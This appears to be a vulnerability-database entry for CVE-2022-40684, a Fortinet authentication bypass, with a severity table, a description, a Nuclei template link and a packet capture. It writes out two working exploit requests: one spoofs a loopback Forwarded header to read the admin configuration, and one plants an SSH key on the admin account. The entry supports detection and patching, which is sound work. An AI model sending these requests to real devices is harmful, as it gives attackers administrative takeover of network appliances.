| Title | Fortinet - Authentication Bypass |
|---|---|
| Author | Shockwave,nagli,carlosvieira |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected device. |
| Remediation | Apply the necessary security patches or firmware updates provided by Fortinet to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94427 |
| CVE ID | CVE-2022-40684 |
| CWE ID | CWE-287 |
| Tags | cve cve2022 fortinet fortigate fortios fortiproxy auth-bypass kev intrusive vkev vuln |
Fortinet contains an authentication bypass vulnerability via using an alternate path or channel in FortiOS 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy 7.2.0 and 7.0.0 through 7.0.6, and FortiSwitchManager 7.2.0 and 7.0.0. An attacker can perform operations on the administrative interface via specially crafted HTTP or HTTPS requests, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /api/v2/cmdb/system/admin HTTP/1.1
Host: www.victim.com
User-Agent: Node.js
Connection: close
Forwarded: by="[127.0.0.1]:1337";for="[127.0.0.1]:1337";proto=http;host=
X-Forwarded-Vdom: root
Accept-Encoding: gzip
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
Host: www.victim.com
User-Agent: Report Runner
Connection: close
Content-Length: 56
Content-Type: application/json
Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
Accept-Encoding: gzip
{
"ssh-public-key1":"38FCTPTBYhLwlP4g0m88n5g3wCq"
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40684.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-40684.pcap
N/AN/A